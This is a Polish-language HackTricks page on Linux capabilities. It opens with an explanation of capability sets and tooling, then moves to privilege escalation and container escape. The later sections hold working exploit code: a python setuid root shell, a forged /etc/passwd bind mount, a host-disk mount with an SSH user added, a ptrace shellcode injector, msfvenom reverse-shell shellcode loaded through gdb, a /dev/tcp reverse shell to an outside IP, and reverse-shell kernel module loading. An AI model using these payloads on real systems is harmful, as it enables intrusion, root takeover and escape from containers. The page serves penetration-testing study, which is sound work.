Linux Capabilities

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

​​​​​​​​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.\

RootedCONRootedCON

Linux Capabilities

Linux capabilities dzielą uprawnienia roota na mniejsze, odrębne jednostki, pozwalając procesom na posiadanie podzbioru uprawnień. Minimalizuje to ryzyko, nie przyznając niepotrzebnie pełnych uprawnień roota.

Problem:

• Zwykli użytkownicy mają ograniczone uprawnienia, co wpływa na zadania takie jak otwieranie gniazda sieciowego, które wymaga dostępu roota.

Zestawy uprawnień:

1. Inherited (CapInh):

• Cel: Określa uprawnienia przekazywane z procesu nadrzędnego.

• Funkcjonalność: Gdy tworzony jest nowy proces, dziedziczy on uprawnienia z procesu nadrzędnego w tym zestawie. Przydatne do utrzymania pewnych uprawnień podczas uruchamiania procesów.

• Ograniczenia: Proces nie może uzyskać uprawnień, których jego proces nadrzędny nie posiadał.

2. Effective (CapEff):

• Cel: Reprezentuje rzeczywiste uprawnienia, które proces wykorzystuje w danym momencie.

• Funkcjonalność: To zestaw uprawnień sprawdzany przez jądro w celu przyznania zgody na różne operacje. Dla plików, ten zestaw może być flagą wskazującą, czy dozwolone uprawnienia pliku mają być uznawane za skuteczne.

• Znaczenie: Zestaw efektywny jest kluczowy dla natychmiastowych kontroli uprawnień, działając jako aktywny zestaw uprawnień, które proces może wykorzystać.

3. Permitted (CapPrm):

• Cel: Określa maksymalny zestaw uprawnień, które proces może posiadać.

• Funkcjonalność: Proces może podnieść uprawnienie z zestawu dozwolonego do swojego zestawu efektywnego, dając mu możliwość użycia tego uprawnienia. Może również zrezygnować z uprawnień z zestawu dozwolonego.

• Granica: Działa jako górna granica dla uprawnień, które proces może mieć, zapewniając, że proces nie przekroczy swojego zdefiniowanego zakresu uprawnień.

4. Bounding (CapBnd):

• Cel: Ustala sufit dla uprawnień, które proces może kiedykolwiek nabyć w trakcie swojego cyklu życia.

• Funkcjonalność: Nawet jeśli proces ma pewne uprawnienie w swoim zestawie dziedzicznym lub dozwolonym, nie może nabyć tego uprawnienia, chyba że jest ono również w zestawie ograniczającym.

• Przykład użycia: Ten zestaw jest szczególnie przydatny do ograniczania potencjału eskalacji uprawnień procesu, dodając dodatkową warstwę bezpieczeństwa.

5. Ambient (CapAmb):

• Cel: Pozwala na utrzymanie pewnych uprawnień podczas wywołania systemowego execve, które zazwyczaj skutkowałoby pełnym resetem uprawnień procesu.

• Funkcjonalność: Zapewnia, że programy nie-SUID, które nie mają związanych uprawnień plików, mogą zachować pewne uprawnienia.

• Ograniczenia: Uprawnienia w tym zestawie podlegają ograniczeniom zestawów dziedzicznych i dozwolonych, zapewniając, że nie przekraczają one dozwolonych uprawnień procesu.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

For further information check:

• https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work

• https://blog.ploetzli.ch/2014/understanding-linux-capabilities/

Procesy i możliwości binarne

Możliwości procesów

Aby zobaczyć możliwości dla konkretnego procesu, użyj pliku status w katalogu /proc. Ponieważ dostarcza więcej szczegółów, ograniczmy się tylko do informacji związanych z możliwościami Linuxa. Zauważ, że dla wszystkich działających procesów informacje o możliwościach są utrzymywane na poziomie wątku, a dla binariów w systemie pliki są przechowywane w atrybutach rozszerzonych.

Możesz znaleźć możliwości zdefiniowane w /usr/include/linux/capability.h

Możesz znaleźć możliwości bieżącego procesu w cat /proc/self/status lub wykonując capsh --print, a innych użytkowników w /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

To polecenie powinno zwrócić 5 linii w większości systemów.

• CapInh = Dziedziczone uprawnienia

• CapPrm = Dozwolone uprawnienia

• CapEff = Efektywne uprawnienia

• CapBnd = Zestaw ograniczający

• CapAmb = Zestaw uprawnień otoczenia

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Te liczby szesnastkowe nie mają sensu. Używając narzędzia capsh, możemy je zdekodować na nazwy uprawnień.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Sprawdźmy teraz capabilities używane przez ping:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Chociaż to działa, istnieje inny, łatwiejszy sposób. Aby zobaczyć możliwości działającego procesu, po prostu użyj narzędzia getpcaps, a następnie jego identyfikatora procesu (PID). Możesz również podać listę identyfikatorów procesów.

getpcaps 1234

Sprawdźmy tutaj możliwości tcpdump po nadaniu binarnemu wystarczających uprawnień (cap_net_admin i cap_net_raw) do podsłuchiwania sieci (tcpdump działa w procesie 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Jak widać, podane możliwości odpowiadają wynikom 2 sposobów uzyskiwania możliwości binarnego. Narzędzie getpcaps używa wywołania systemowego capget(), aby zapytać o dostępne możliwości dla konkretnego wątku. To wywołanie systemowe potrzebuje jedynie podać PID, aby uzyskać więcej informacji.

Możliwości binariów

Binarne pliki mogą mieć możliwości, które mogą być używane podczas wykonywania. Na przykład, bardzo często można znaleźć binarny plik ping z możliwością cap_net_raw:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

Możesz wyszukiwać binaria z uprawnieniami za pomocą:

getcap -r / 2>/dev/null

Zrzucanie uprawnień za pomocą capsh

Jeśli zrzucimy uprawnienia CAP_NET_RAW dla ping, to narzędzie ping nie powinno już działać.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Oprócz wyjścia samego capsh, polecenie tcpdump również powinno zgłosić błąd.

/bin/bash: /usr/sbin/tcpdump: Operacja niedozwolona

Błąd wyraźnie pokazuje, że polecenie ping nie ma pozwolenia na otwarcie gniazda ICMP. Teraz mamy pewność, że to działa zgodnie z oczekiwaniami.

Usuń możliwości

Możesz usunąć możliwości binarnego pliku za pomocą

setcap -r </path/to/binary>

User Capabilities

Wyraźnie możliwe jest przypisanie uprawnień również do użytkowników. To prawdopodobnie oznacza, że każdy proces wykonywany przez użytkownika będzie mógł korzystać z uprawnień użytkownika. Na podstawie tego, tego i tego należy skonfigurować kilka plików, aby nadać użytkownikowi określone uprawnienia, ale plik przypisujący uprawnienia do każdego użytkownika to /etc/security/capability.conf. Przykład pliku:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Możliwości środowiska

Kompilując następujący program, możliwe jest uruchomienie powłoki bash w środowisku, które zapewnia możliwości.

ambient.c

/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}

gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

Wewnątrz bash uruchomionego przez skompilowany binarny ambient można zaobserwować nowe możliwości (zwykły użytkownik nie będzie miał żadnej możliwości w sekcji "aktualnej").

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Możesz dodawać tylko te uprawnienia, które są obecne zarówno w zestawie dozwolonym, jak i dziedziczonym.

Binaries świadome/nieświadome uprawnień

Binaries świadome uprawnień nie będą używać nowych uprawnień nadanych przez środowisko, jednak binaries nieświadome uprawnień będą je używać, ponieważ ich nie odrzucą. To sprawia, że binaries nieświadome uprawnień są podatne w specjalnym środowisku, które przyznaje uprawnienia binarnym.

Uprawnienia usług

Domyślnie usługa działająca jako root będzie miała przypisane wszystkie uprawnienia, a w niektórych przypadkach może to być niebezpieczne. Dlatego plik konfiguracji usługi pozwala określić uprawnienia, które chcesz, aby miała, oraz użytkownika, który powinien uruchomić usługę, aby uniknąć uruchamiania usługi z niepotrzebnymi uprawnieniami:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capabilities in Docker Containers

Domyślnie Docker przypisuje kilka możliwości do kontenerów. Bardzo łatwo jest sprawdzić, które to możliwości, uruchamiając:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

​​​​​​​​​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.

RootedCONRootedCON

Privesc/Container Escape

Capabilities są przydatne, gdy chcesz ograniczyć własne procesy po wykonaniu operacji z uprawnieniami (np. po skonfigurowaniu chroot i powiązaniu z gniazdem). Mogą jednak być wykorzystywane przez przekazywanie im złośliwych poleceń lub argumentów, które są następnie uruchamiane jako root.

Możesz wymusić capabilities na programach za pomocą setcap, a zapytać o nie za pomocą getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

+ep oznacza, że dodajesz zdolność („-” usunęłoby ją) jako Efektywną i Dozwoloną.

Aby zidentyfikować programy w systemie lub folderze z zdolnościami:

getcap -r / 2>/dev/null

Przykład wykorzystania

W następującym przykładzie binarka /usr/bin/python2.6 została uznana za podatną na privesc:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capabilities potrzebne przez tcpdump, aby pozwolić dowolnemu użytkownikowi na sniffing pakietów:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

Szczególny przypadek "pustych" możliwości

Z dokumentacji: Należy zauważyć, że można przypisać puste zestawy możliwości do pliku programu, a zatem możliwe jest stworzenie programu z ustawionym identyfikatorem użytkownika-root, który zmienia efektywny i zapisany identyfikator użytkownika procesu wykonującego program na 0, ale nie przyznaje żadnych możliwości temu procesowi. Innymi słowy, jeśli masz binarny plik, który:

1. nie jest własnością roota

2. nie ma ustawionych bitów SUID/SGID

3. ma ustawione puste możliwości (np.: getcap myelf zwraca myelf =ep)

to ta binarka będzie działać jako root.

CAP_SYS_ADMIN

CAP_SYS_ADMIN to bardzo potężna możliwość w systemie Linux, często porównywana do poziomu bliskiego roota z powodu swoich rozległych uprawnień administracyjnych, takich jak montowanie urządzeń czy manipulowanie funkcjami jądra. Chociaż jest niezbędna dla kontenerów symulujących całe systemy, CAP_SYS_ADMIN stwarza znaczące wyzwania bezpieczeństwa, szczególnie w środowiskach kontenerowych, z powodu swojego potencjału do eskalacji uprawnień i kompromitacji systemu. Dlatego jej użycie wymaga rygorystycznych ocen bezpieczeństwa i ostrożnego zarządzania, z silnym naciskiem na rezygnację z tej możliwości w kontenerach specyficznych dla aplikacji, aby przestrzegać zasady najmniejszych uprawnień i zminimalizować powierzchnię ataku.

Przykład z binarką

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Używając Pythona, możesz zamontować zmodyfikowany plik passwd na prawdziwym pliku passwd:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

A na koniec zamontuj zmodyfikowany plik passwd w /etc/passwd:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

I będziesz mógł su jako root używając hasła "password".

Przykład z środowiskiem (Docker breakout)

Możesz sprawdzić włączone możliwości wewnątrz kontenera docker za pomocą:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

W poprzednim wyjściu można zobaczyć, że zdolność SYS_ADMIN jest włączona.

• Mount

To pozwala kontenerowi docker na zamontowanie dysku hosta i swobodne do niego uzyskanie dostępu:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk

• Pełny dostęp

W poprzedniej metodzie udało nam się uzyskać dostęp do dysku hosta docker. W przypadku, gdy stwierdzisz, że host uruchamia serwer ssh, możesz utworzyć użytkownika wewnątrz dysku hosta docker i uzyskać do niego dostęp przez SSH:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

Oznacza to, że możesz uciec z kontenera, wstrzykując shellcode do procesu działającego w hoście. Aby uzyskać dostęp do procesów działających w hoście, kontener musi być uruchomiony przynajmniej z --pid=host.

CAP_SYS_PTRACE przyznaje możliwość korzystania z funkcji debugowania i śledzenia wywołań systemowych dostarczanych przez ptrace(2) oraz wywołań cross-memory attach, takich jak process_vm_readv(2) i process_vm_writev(2). Chociaż jest to potężne narzędzie do celów diagnostycznych i monitorujących, jeśli CAP_SYS_PTRACE jest włączone bez restrykcyjnych środków, takich jak filtr seccomp na ptrace(2), może to znacząco osłabić bezpieczeństwo systemu. W szczególności może być wykorzystywane do obejścia innych ograniczeń bezpieczeństwa, zwłaszcza tych nałożonych przez seccomp, co zostało udowodnione przez dowody koncepcyjne (PoC) takie jak ten.

Przykład z binarką (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep

import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

Przykład z binarnym (gdb)

gdb z uprawnieniem ptrace:

/usr/bin/gdb = cap_sys_ptrace+ep

Utwórz shellcode za pomocą msfvenom, aby wstrzyknąć go do pamięci za pomocą gdb

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"

# Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"

print(f"set {{long}}($rip+{i}) = {chunks}")

Debuguj proces root za pomocą gdb i skopiuj-wklej wcześniej wygenerowane linie gdb:

# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]

Przykład z otoczeniem (wyjście z Dockera) - Inne nadużycie gdb

Jeśli GDB jest zainstalowany (lub możesz go zainstalować za pomocą apk add gdb lub apt install gdb, na przykład) możesz debugować proces z hosta i sprawić, by wywołał funkcję system. (Ta technika również wymaga uprawnienia SYS_ADMIN).

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")

Nie będziesz w stanie zobaczyć wyniku wykonanego polecenia, ale zostanie ono wykonane przez ten proces (więc uzyskaj rev shell).

Jeśli otrzymasz błąd "No symbol "system" in current context.", sprawdź poprzedni przykład ładowania shellcode w programie za pomocą gdb.

Przykład z środowiskiem (wyjście z Dockera) - Wstrzykiwanie shellcode

Możesz sprawdzić włączone możliwości wewnątrz kontenera docker za pomocą:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root

List procesy działające w hoście ps -eaf

1. Uzyskaj architekturę uname -m

2. Znajdź shellcode dla architektury (https://www.exploit-db.com/exploits/41128)

3. Znajdź program do wstrzykiwania shellcode do pamięci procesu (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)

4. Zmień shellcode w programie i skompiluj go gcc inject.c -o inject

5. Wstrzyknij go i zdobądź swoją powłokę: ./inject 299; nc 172.17.0.1 5600

CAP_SYS_MODULE

CAP_SYS_MODULE umożliwia procesowi ładowanie i usuwanie modułów jądra (init_module(2), finit_module(2) i delete_module(2) system calls), oferując bezpośredni dostęp do podstawowych operacji jądra. Ta zdolność stwarza poważne zagrożenia dla bezpieczeństwa, ponieważ umożliwia eskalację uprawnień i całkowite kompromitowanie systemu poprzez pozwolenie na modyfikacje jądra, omijając wszystkie mechanizmy zabezpieczeń Linuxa, w tym moduły zabezpieczeń Linuxa i izolację kontenerów. To oznacza, że możesz wstawiać/usuwać moduły jądra z/do jądra maszyny hosta.

Przykład z binarnym

W poniższym przykładzie binarny python ma tę zdolność.

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep

Domyślnie polecenie modprobe sprawdza listę zależności i pliki map w katalogu /lib/modules/$(uname -r). Aby to wykorzystać, stwórzmy fałszywy folder lib/modules:

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

Następnie skompiluj moduł jądra, który możesz znaleźć w 2 przykładach poniżej i skopiuj go do tego folderu:

cp reverse-shell.ko lib/modules/$(uname -r)/

Na koniec, wykonaj potrzebny kod Pythona, aby załadować ten moduł jądra:

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

Przykład 2 z binarnym

W następującym przykładzie binarny kmod ma tę zdolność.

getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep

Co oznacza, że możliwe jest użycie polecenia insmod do wstawienia modułu jądra. Postępuj zgodnie z poniższym przykładem, aby uzyskać reverse shell, nadużywając tego uprawnienia.

Przykład z środowiskiem (wyjście z Dockera)

Możesz sprawdzić włączone uprawnienia wewnątrz kontenera docker za pomocą:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

W poprzednim wyjściu możesz zobaczyć, że zdolność SYS_MODULE jest włączona.

